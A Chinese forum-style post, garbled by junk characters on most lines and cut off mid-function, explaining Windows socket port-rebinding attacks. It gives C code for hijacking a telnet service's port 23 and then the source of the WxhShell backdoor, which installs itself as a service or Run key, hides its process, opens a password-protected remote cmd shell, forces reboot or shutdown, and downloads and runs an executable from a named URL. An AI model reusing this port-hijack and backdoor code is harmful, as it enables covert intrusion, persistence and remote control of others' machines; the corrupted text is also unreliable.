在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
hsws7sH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
!9C]Fs*`? B&3@b saddr.sin_family = AF_INET;
>4lA+1JYk ]C_$zbmi saddr.sin_addr.s_addr = htonl(INADDR_ANY);
M1DV 9~S QSYKYgxC bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
wXeJjE%j:3 =6'D/| 3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$xcU*?=K O[}2 这意味着什么?意味着可以进行如下的攻击:
ac43d`wpK yW(A0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
XC[AJ!q` BYI13jMH+Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_A$V~Hp9q 7bW''J*6 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dr=KoAIxy .GDY
J9vi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
DQ6pe)E| lt l(SIi 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+P*,i$MV <~5$<L4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
L#T`h}1Z scEE$: 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
[+dTd2uZ<\ ~:4Mf/Ca #include
]\=M$:,RZ #include
8{.:$T #include
{M0pq3SL*t #include
uc;,JX!bN DWORD WINAPI ClientThread(LPVOID lpParam);
X 2('@Yh int main()
rI]n4>k{ {
mhnK{M @56 WORD wVersionRequested;
"OKsl2e DWORD ret;
yc$8X sns WSADATA wsaData;
}'TZ)=t{J BOOL val;
'$CJZ`nt SOCKADDR_IN saddr;
{uO2m*JrI SOCKADDR_IN scaddr;
ByXcs' int err;
'l'[U SOCKET s;
(Bfy
SOCKET sc;
1'J|yq int caddsize;
X@7e7 HANDLE mt;
@ GzN0yXhR DWORD tid;
/I'
np wVersionRequested = MAKEWORD( 2, 2 );
X?] 1/6rV err = WSAStartup( wVersionRequested, &wsaData );
SR1UO'. if ( err != 0 ) {
6n.C!,Zmn printf("error!WSAStartup failed!\n");
"IsDL^)A9 return -1;
NB/ wJ3 F }
T$xY]hqr saddr.sin_family = AF_INET;
ki_Py5 }"9jCxXL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[hXU$Y>"0 /&'rQ`nd saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
uw&'=G6v saddr.sin_port = htons(23);
@MGc_"b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&AlX). {
a@WSIcX*W printf("error!socket failed!\n");
8h7z return -1;
itIzs99j }
5eSmyj-W val = TRUE;
9G}Crp //SO_REUSEADDR选项就是可以实现端口重绑定的
J\kv}v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"(#]H;!W {
v.I>B3bEg printf("error!setsockopt failed!\n");
`BHPjp> return -1;
W 7Y5~%@ }
^'c[HVJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
E MKv)5MH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
du4Q^-repC //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[L@ vC>G H@,(
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
U.QjB0; {
KC{HX? ret=GetLastError();
GKKf#r74 printf("error!bind failed!\n");
^cF_z}Zi+ return -1;
=h2zIcj }
"S@%d(lg listen(s,2);
B?J#NFUb while(1)
U_c.Z{lC4 {
h"G#} C] caddsize = sizeof(scaddr);
u($y<Q)= //接受连接请求
K%A:W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hK&/A+* if(sc!=INVALID_SOCKET)
$u./%JS {
]\<^rEU mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
?-0>Wbg if(mt==NULL)
@dCoh-Q3 {
f#UT~/~bL2 printf("Thread Creat Failed!\n");
}-R|f_2Hp break;
cvvba 60 }
lf\]^yM # }
n-n{+Dl! CloseHandle(mt);
aJ1<X8 }
n089tt=TE closesocket(s);
z@3t>k|K WSACleanup();
7Z/KXc[b return 0;
a:tCdnK/ }
7a}vb@ DWORD WINAPI ClientThread(LPVOID lpParam)
lclSzC9 {
kMz^37IFMG SOCKET ss = (SOCKET)lpParam;
s`G3SE SOCKET sc;
r0)X]l7 unsigned char buf[4096];
ga~C?H,K SOCKADDR_IN saddr;
"?GA}e"R long num;
.* xaI+: DWORD val;
wh@;$s"B DWORD ret;
Ul@yXtj //如果是隐藏端口应用的话,可以在此处加一些判断
+AyrKs?h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&i,xod6$ saddr.sin_family = AF_INET;
gzthM8A saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?HBNd&gZ1G saddr.sin_port = htons(23);
0;j)rmt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"-+5`!Y {
hYMo5 ? printf("error!socket failed!\n");
V!F#
e k: return -1;
hX~d1.]Y }
WBgS9qiB val = 100;
OFTyN^([@ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}Zue?!KQ {
I|*w?i* ret = GetLastError();
0[JJ return -1;
p] V }
YULI
y-W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
CD'.bFO^+T {
*eAsA(; ret = GetLastError();
#%xzy@` return -1;
EencMi7J }
c-L1 Bkw if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
s=&&gC1 {
Pvq74?an` printf("error!socket connect failed!\n");
=Vv"\p8 closesocket(sc);
>M\3tB2C closesocket(ss);
E
{$Jk]c return -1;
w]hs1vch }
Ccld;c&+ while(1)
)B86 {
-lL(:drn //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
8[Ssrk //如果是嗅探内容的话,可以再此处进行内容分析和记录
RjY(MSc //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
.mzy?!w0q num = recv(ss,buf,4096,0);
P5Y:c@u2 if(num>0)
VL5GX( send(sc,buf,num,0);
o.ntzN else if(num==0)
P".CZyI-i break;
TzT(aWP" num = recv(sc,buf,4096,0);
`;yfSoY if(num>0)
<
`r+ZyM send(ss,buf,num,0);
I'Dc9&2 else if(num==0)
fD<9k break;
Fy^=LrH=D }
A{Jp>15AVg closesocket(ss);
$^F
L*w closesocket(sc);
UMN3.-4K# return 0 ;
YL_M=h>P }
#d,+87]\= ,iKL
68 18ApHp ==========================================================
8LI,'XZ 1PD{m{ 下边附上一个代码,,WXhSHELL
WdEVT,jjh 038|>l-9[ ==========================================================
%l4LX~-: kcg{z8cd'r #include "stdafx.h"
zO BLF|L= e5/f%4YX #include <stdio.h>
`52+.*J+% #include <string.h>
)YE3n-~7{ #include <windows.h>
P;7JK=~k #include <winsock2.h>
q#RUL!WF7U #include <winsvc.h>
lxIoP #include <urlmon.h>
s9R#rwIc Id6H~; #pragma comment (lib, "Ws2_32.lib")
OIpkXM #pragma comment (lib, "urlmon.lib")
zPzy0lx jlvh'y` #define MAX_USER 100 // 最大客户端连接数
'
U]\]Wp #define BUF_SOCK 200 // sock buffer
x3j)'`=15 #define KEY_BUFF 255 // 输入 buffer
(gY3?&Ok* eD4D<\* #define REBOOT 0 // 重启
ws1io. #define SHUTDOWN 1 // 关机
l`S2bb6uMR ;L1Q"Hxh #define DEF_PORT 5000 // 监听端口
37OU d??;r: #define REG_LEN 16 // 注册表键长度
dwd5P7
#define SVC_LEN 80 // NT服务名长度
<$6r1y*G ME.l{?v // 从dll定义API
kj_MzgC'? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
.dA_} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~m:oJ+:O typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
s!WGs_1@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_ebo 0, b.;r // wxhshell配置信息
vO>Fj struct WSCFG {
,sw|OYb int ws_port; // 监听端口
?A4zIJ\ char ws_passstr[REG_LEN]; // 口令
Y fRjr int ws_autoins; // 安装标记, 1=yes 0=no
t1Ty.F)r char ws_regname[REG_LEN]; // 注册表键名
sIUhk7Cd8 char ws_svcname[REG_LEN]; // 服务名
=35g:fL char ws_svcdisp[SVC_LEN]; // 服务显示名
oT76)O char ws_svcdesc[SVC_LEN]; // 服务描述信息
uX82q.u_y char ws_passmsg[SVC_LEN]; // 密码输入提示信息
%.k~L
int ws_downexe; // 下载执行标记, 1=yes 0=no
Z3C]n,I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,z4)A&F[c; char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&B1j,$NRc b#~K> };
PHQ7 4eFqD; // default Wxhshell configuration
LxdF;JCz: struct WSCFG wscfg={DEF_PORT,
#`Af "xuhuanlingzhe",
`_YXU 1,
srzlr-J "Wxhshell",
ltQo_k "Wxhshell",
i}u,_
} "WxhShell Service",
(AYzN3
?D "Wrsky Windows CmdShell Service",
#)}K,FDd "Please Input Your Password: ",
7:[u.cd 1,
s#Os?Q? "
http://www.wrsky.com/wxhshell.exe",
s2Z'_rT "Wxhshell.exe"
C{{RU7iqc& };
4S%s=vw #VM+.75o1 // 消息定义模块
qQ&=Z`p! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6d7E@}< char *msg_ws_prompt="\n\r? for help\n\r#>";
58[=.rzD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4d x4hBd char *msg_ws_ext="\n\rExit.";
xUW\P$ char *msg_ws_end="\n\rQuit.";
WK2YHJ*$ char *msg_ws_boot="\n\rReboot...";
>W?i+,g char *msg_ws_poff="\n\rShutdown...";
cn~/P|B[ char *msg_ws_down="\n\rSave to ";
Nm{+!}cC ()'yY^ char *msg_ws_err="\n\rErr!";
/penB[1i char *msg_ws_ok="\n\rOK!";
NL^;C3u kAV4V;ydh char ExeFile[MAX_PATH];
YCPU84f int nUser = 0;
PJfADB7Y HANDLE handles[MAX_USER];
Y0z)5),[U: int OsIsNt;
CMhl* dH g5&ZXA SERVICE_STATUS serviceStatus;
p>ba6BDJT SERVICE_STATUS_HANDLE hServiceStatusHandle;
4h*c{do 'hGUsi // 函数声明
oV/:T\Qn= int Install(void);
H*.v*ro9_ int Uninstall(void);
|
)No4fm int DownloadFile(char *sURL, SOCKET wsh);
=I.uf int Boot(int flag);
=67ab_V void HideProc(void);
EpW89X int GetOsVer(void);
5'<J@3B int Wxhshell(SOCKET wsl);
wiFA3_\G void TalkWithClient(void *cs);
"lVbla4b
int CmdShell(SOCKET sock);
.u3; int StartFromService(void);
A!$;pwn0 int StartWxhshell(LPSTR lpCmdLine);
"cZ ){w *KV^X(/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
gB_gjn\ VOID WINAPI NTServiceHandler( DWORD fdwControl );
w,T-vf WJlJD*3 // 数据结构和表定义
7_9^nDU SERVICE_TABLE_ENTRY DispatchTable[] =
r@t
\a+
{
2tw3 =) {wscfg.ws_svcname, NTServiceMain},
9] L4`.HM {NULL, NULL}
\? n<UsI };
u5.zckV Leu6kPk // 自我安装
$RA+StF!] int Install(void)
SpO%nZ";g8 {
01n7ua*XX char svExeFile[MAX_PATH];
Gh5 3Pne HKEY key;
1Y:JGon strcpy(svExeFile,ExeFile);
?vBMx _0 r9Vt}]$a G // 如果是win9x系统,修改注册表设为自启动
[-0=ZKH? if(!OsIsNt) {
+Pc2`,pw| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,. HS )<B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|jI|},I RegCloseKey(key);
gJH^f3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
79z/(T+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@ N@
!Q RegCloseKey(key);
yHo#v:>?p return 0;
Eo`'6
3 }
Bh UGMK }
m0i,Zw{eM }
g [u*`]-;v else {
:bq${ g8R@ol0 // 如果是NT以上系统,安装为系统服务
n v
?u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=TGa\iclpB if (schSCManager!=0)
_<6E>"*m {
`l'Ine11 SC_HANDLE schService = CreateService
$ghlrV;:ct (
b:PzqMh{G schSCManager,
}U^iVq* wscfg.ws_svcname,
Xf;_r+; wscfg.ws_svcdisp,
V
7oE\cxr SERVICE_ALL_ACCESS,
]pWn%aGv*Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
vX?C9Fr 2 SERVICE_AUTO_START,
2"QcjFW% SERVICE_ERROR_NORMAL,
}vb.>hy svExeFile,
z%;_h- NULL,
0Of6$` NULL,
V)fF|E~0 NULL,
GP(nb, NULL,
12V-EG i NULL
M_O) w^
' );
k5|GN Y6a if (schService!=0)
uO( (Mg {
O!'gylj/ CloseServiceHandle(schService);
G|I}x/X"Q7 CloseServiceHandle(schSCManager);
z.!u<hy( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
98maQQWD strcat(svExeFile,wscfg.ws_svcname);
lot;d3} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
YIs_.CTi RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
3F8KF`* RegCloseKey(key);
l>T]Y return 0;
}ww`Y }
19:1n]*X< }
Byh!Snoe CloseServiceHandle(schSCManager);
dG!) < }
gL&)l!2Y }
e**5_L B2:GGZ|jS return 1;
q26qY5D }
GBTwQYF vW0U~(XlN // 自我卸载
ck$> int Uninstall(void)
BQ=JZ4& {
h05BZrE HKEY key;
YB_fy8Tfx B@ >t$jK if(!OsIsNt) {
On(.(7sNc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yb-4[C:i RegDeleteValue(key,wscfg.ws_regname);
@zJiR{Je-U RegCloseKey(key);
`Bb32L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xS; tmc RegDeleteValue(key,wscfg.ws_regname);
#"-DE-I[ RegCloseKey(key);
wkY$J\J return 0;
`NyO|9/4 }
hG}gKs }
w}YcAnuB{% }
R1Fcd@DWD else {
/ <+F/R'=O }&]T0U`@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
tlYB'8bJY if (schSCManager!=0)
N+vsQ!Qz {
W!|l_/L' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
sT,*<^ if (schService!=0)
L=5Y^f'aU {
xg4wtfAbS if(DeleteService(schService)!=0) {
)Wk&c8|y CloseServiceHandle(schService);
?weuq"*a CloseServiceHandle(schSCManager);
Of-8n- return 0;
EgRuB@lw76 }
h(i_'P? CloseServiceHandle(schService);
8g?2( MT; }
s~A:*2 \ CloseServiceHandle(schSCManager);
F5+!Gb En }
a :CeI }
OX}ZdM!&f O' Mma5 return 1;
@P">4xVX{ }
M
9 N'Hk= EL6<%~,V"I // 从指定url下载文件
_`Dz%(c int DownloadFile(char *sURL, SOCKET wsh)
\SBAk
h {
vvLzUxV HRESULT hr;
`ghNS char seps[]= "/";
!>WW(n07Ma char *token;
bV:MOj^ char *file;
(e32oP" char myURL[MAX_PATH];
^[EXTBk@: char myFILE[MAX_PATH];
u}7r\MnwK, !,~C strcpy(myURL,sURL);
Gw#z:gX2 token=strtok(myURL,seps);
{5SJ0'.B2g while(token!=NULL)
5*O]`Q7 {
Mn*5oH file=token;
uFG ;AY| token=strtok(NULL,seps);
0xV[C4E[6 }
LAGg(:3f3 b~?3HY:t~K GetCurrentDirectory(MAX_PATH,myFILE);
w ; PV
&M strcat(myFILE, "\\");
AQPzId*z strcat(myFILE, file);
6-\C?w
A send(wsh,myFILE,strlen(myFILE),0);
N::.o+1 send(wsh,"...",3,0);
'EB5# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b{,vZhP- if(hr==S_OK)
j?(@x>HA return 0;
,U fB{BW else
RPkOtRKL=w return 1;
DCgiTT\ 7??j}ob> }
(`d _DQ hOe$h,E'] // 系统电源模块
q X]ej2 int Boot(int flag)
_<jccQ {
Mvk#$:8e HANDLE hToken;
%p};Di[V TOKEN_PRIVILEGES tkp;
T_qh_L3 u73/#!(1=H if(OsIsNt) {
ROj=XM:+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
J!:v`gb#@A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2vW@d[<J tkp.PrivilegeCount = 1;
wQU-r| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r]%.,i7~8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
30h1)nQ$h} if(flag==REBOOT) {
R[2h!.O8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`4"&_ltD return 0;
9-?kamA }
y9Q"3LLic` else {
Rp.FG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:LB< z#M return 0;
@_?8I_\: }
cKAZWON8;v }
#~ [mn_C else {
<PQ[N[SU if(flag==REBOOT) {
\JGRd8S[ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
g%d&>y?1r return 0;
+e)RT< }
G/8G`teAZ else {
V__n9L/t if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
wqp(E+& return 0;
yGPi9j{QXq }
+,}CuF }
>V3pYRA 4JjO.H return 1;
qzu%Pp6If }
++0xa%: l7GLN1#m // win9x进程隐藏模块
^i~'aq void HideProc(void)
(9D,Ukw {
3yIC@>&y(8 ,6a }l;lv HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
{%z}CTf# if ( hKernel != NULL )
hH@pA:`s {
+yu^Z*_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|y7#D9m ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%LZf=`:( FreeLibrary(hKernel);
d:=:l? }
2BIOA#@t x20sB return;
>5-]Ur~ }
V %Rz(a+c pi?U|&.1z // 获取操作系统版本
%GDs/9 int GetOsVer(void)
Gnmxp%&}P| {
Yim` 3>#t OSVERSIONINFO winfo;
eVy\)dCsU winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?HaUT(\j GetVersionEx(&winfo);
+0O^!o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:n<<hR0d return 1;
dNcP_l/A else
Oo95\Yf$N return 0;
Nh|QYxOP }
s&*s9F {!vz 6QDS // 客户端句柄模块
w`OHNwXh#I int Wxhshell(SOCKET wsl)
oGi{d5 {
3:WXrOl SOCKET wsh;
kP}91kja struct sockaddr_in client;
[8.w2\<? DWORD myID;
&\o!-EIK8 awa$o while(nUser<MAX_USER)
>P\/\xL= {
ZN?UkFnE int nSize=sizeof(client);
;}gS8I| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tvG/oe .1' if(wsh==INVALID_SOCKET) return 1;
FqK2[]8 ZX!u\O|w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
/>9?/&N6" if(handles[nUser]==0)
(Dx]!FFz closesocket(wsh);
y|@=j~}Zq else
U0W- X9>y nUser++;
*QpKeI }
I|?Z.!I| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
675x/0}GO FucLcq2Z return 0;
hkL[hD }
8TnByKZz ~V4&l3o // 关闭 socket
y(RK|r void CloseIt(SOCKET wsh)
Ka\%kB>*` {
SggS8$a` closesocket(wsh);
fX2PteA0qX nUser--;
S?_ ;$Cn ExitThread(0);
3QrYH
@7zx }
X pd^^ U ]6Hml;l // 客户端请求句柄
yegTKoY void TalkWithClient(void *cs)
B[0XzV]Z {
%%w]-`^h, 3q.O^`y FU SOCKET wsh=(SOCKET)cs;
hOSkxdi*^ char pwd[SVC_LEN];
(9J,Qs[; char cmd[KEY_BUFF];
cEd!t6Z char chr[1];
]='E&=nc int i,j;
{<- BU[H O5Xu(q5+ while (nUser < MAX_USER) {
{^#62Y x1kb]0s<- if(wscfg.ws_passstr) {
DN@T4!
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$Y4;Xe= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
)5j%." //ZeroMemory(pwd,KEY_BUFF);
mSzBNvci i=0;
f9g#pyH4 while(i<SVC_LEN) {
$Q|t^( QpPJ99B| // 设置超时
p|M 8ww fd_set FdRead;
=,~h]_\_ struct timeval TimeOut;
:,=no>mMx FD_ZERO(&FdRead);
v&B*InR?+ FD_SET(wsh,&FdRead);
/0mbG!Ac TimeOut.tv_sec=8;
+BRmqJ3 TimeOut.tv_usec=0;
HX{O@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
>]k'3|vV if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
yjVPaEu]aU <"@~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Nd~?kZZu pwd
=chr[0]; %Y` @>P'
if(chr[0]==0xd || chr[0]==0xa) { %jY/jp=R
pwd=0; n@xDFa
break; j#b?P=|l
} :hG?} [-2
i++; $3sS&i<
} !0~$u3[b
+?~'K&@
// 如果是非法用户,关闭 socket u4=j!Zb8}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |wZ8O}O{E
} F}A@H<?
}06
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PQsqi;=)
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J8$G-~MeJ
DLkNL?a
while(1) { $@t-Oor;
_gB`;zo
ZeroMemory(cmd,KEY_BUFF); lu(<(t,Lbs
V,($I'&/
// 自动支持客户端 telnet标准 92GO.xAD?
j=0; ho_;;y
while(j<KEY_BUFF) { !c\d(u
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j3rBEQ,R
cmd[j]=chr[0]; o)7gKWjujP
if(chr[0]==0xa || chr[0]==0xd) { -tSWYp{
cmd[j]=0; (KHTgZ6
break; 9/MUzt
} `av8|;
j++; oQ 5g0(J~
} iZQwo3"8r
](vshgp2
// 下载文件 Z
xLjh
if(strstr(cmd,"http://")) { l,*v/95h
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3C8'0DB
if(DownloadFile(cmd,wsh)) rO/mK$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >'/G:\M>A
else k=O2s'F`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )kl| 5i
} >UpTMEQ
else { 3mgFouX2x,
vt[4"eU
switch(cmd[0]) { 8h~v%aZ1
uRKCvsi sX
// 帮助 n\5` JNCb
case '?': { ]?xF'3#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); viAvD6e
break; N7*JL2Rnq
} ]YZ+/:#U7
// 安装 _tL*sA>[~)
case 'i': { =eSG7QfS
if(Install()) Va06(Cq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fM_aDSRa!H
else
= Ow}MX
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fEdQR->
break; FZnkQ
} *L/_ v
// 卸载 YcGSZ0vQ
case 'r': { LGPy>,!
if(Uninstall()) t(CdoE,6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6z"fBF
else $GUSTV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XZA3TZ
break; fSl+;|Kn
} }#q9>gx
// 显示 wxhshell 所在路径 *8U+2zgfC
case 'p': { b/ 'fC%o,
char svExeFile[MAX_PATH]; t/_w}
strcpy(svExeFile,"\n\r"); -c%GlpZw
strcat(svExeFile,ExeFile); UKQ,]VC
send(wsh,svExeFile,strlen(svExeFile),0); f!*b8ND^R
break; OibW8A4Z1
} ,Z#t-?
// 重启 \*!?\Ko`W
case 'b': { QR'"Zw&q5/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @h([c
if(Boot(REBOOT)) }.4`zK&SB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KSuP'.l
else { FgNO# %
closesocket(wsh); _$0<]O$
ExitThread(0); jwTb09
} D*`|MzlQ
break; ;or(:Yoc-
} ?)7uwJsH
// 关机 RP7e)?5$s
case 'd': { XY1NTo.=
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ${KDGJ,^
if(Boot(SHUTDOWN)) *(s+u~, I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q<d\K(<3?:
else { 4*lShkL
closesocket(wsh); ,|"tLN*m
ExitThread(0); T^aEx.`O}`
} +XJj:%yt
break; u=jF\W9
} 9<WMM)
// 获取shell f/?#
1
case 's': { 4
Yc9Ij
CmdShell(wsh); vd SV6p.d
closesocket(wsh); 4<70mUnt
ExitThread(0); 5P
-IZ8~$
break; U{RW=sYB~9
} S,lJ&Rsu
// 退出 3otia;&B
case 'x': { #DwTm~V0"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >yg mE`g
CloseIt(wsh); 9cWl/7;zXO
break; WcPDPu~/
} ,JN2q]QPP
// 离开 g[44YrRD
case 'q': { kG
&.|
send(wsh,msg_ws_end,strlen(msg_ws_end),0); kW4/0PD
closesocket(wsh); X(?.*m@+TB
WSACleanup(); d[w 'j/{
exit(1); B1JdkL 3h
break; utQE$0F
} nE+sbfC
} *pk*ijdB
} r{$ip"f
Zb8Ty~.\P
// 提示信息 F5wCl2I
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _$NFeqLww
} =ILs[p
} V?
w;YTg
8uM >Up X
return; #!OCEiT_
} KFdV_e5lU
nyi}~sB
// shell模块句柄 Av^{$9yl
int CmdShell(SOCKET sock)
3p"VmO
{ O>wGc8Of\
STARTUPINFO si; `ndesP
ZeroMemory(&si,sizeof(si)); xSs);XO,
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "L|Ew#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @T._
PROCESS_INFORMATION ProcessInfo; I(#Y\>DG
char cmdline[]="cmd"; Z2(z,pK
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); pB&3JmgR$)
return 0; Nlx7"_R"Q
} JaXT
B"e
75r>~@)*
// 自身启动模式 VljAAt
int StartFromService(void) Ha@'%<gFe
{ sk\U[#ohH
typedef struct 1% ]|O
{ %UI.E=`n
DWORD ExitStatus; Lz2wOB1Zc+
DWORD PebBaseAddress; *j?tcxq
